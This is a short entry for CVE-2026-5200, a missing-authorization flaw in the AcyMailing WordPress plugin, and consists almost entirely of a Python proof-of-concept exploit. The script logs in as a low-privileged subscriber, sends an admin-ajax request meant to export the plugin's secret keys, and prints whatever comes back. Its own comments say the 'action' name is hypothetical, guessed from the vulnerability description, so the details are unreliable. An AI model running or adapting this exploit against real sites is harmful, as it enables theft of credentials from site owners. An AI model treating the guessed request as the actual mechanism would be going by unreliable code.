CVE-2026-5200 AcyMailing插件权限缺失漏洞

import requests # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "subscriber" # Low-privileged user password = "password" # 1. Authenticate as a low-privileged user session = requests.Session() login_payload = { 'log': username, 'pwd': password, 'redirect_to': '', 'wp-submit': 'Log In', 'testcookie': '1' } # Attempt login login_response = session.post("http://example.com/wp-login.php", data=login_payload) if "ERROR" in login_response.text: print("[-] Login failed") exit() print("[+] Login successful") # 2. Exploit Missing Authorization to export secret keys # Note: The specific 'action' parameter depends on the plugin's actual implementation exploit_payload = { 'action': 'acymailing_export_keys', # Hypothetical action based on vulnerability description 'config': 'export_all' } try: response = session.post(target_url, data=exploit_payload) if response.status_code == 200 and "secret_key" in response.text: print("[+] Exploit successful! Extracted data:") print(response.text) else: print("[-] Exploit failed or patch applied.") except Exception as e: print(f"[-] An error occurred: {e}")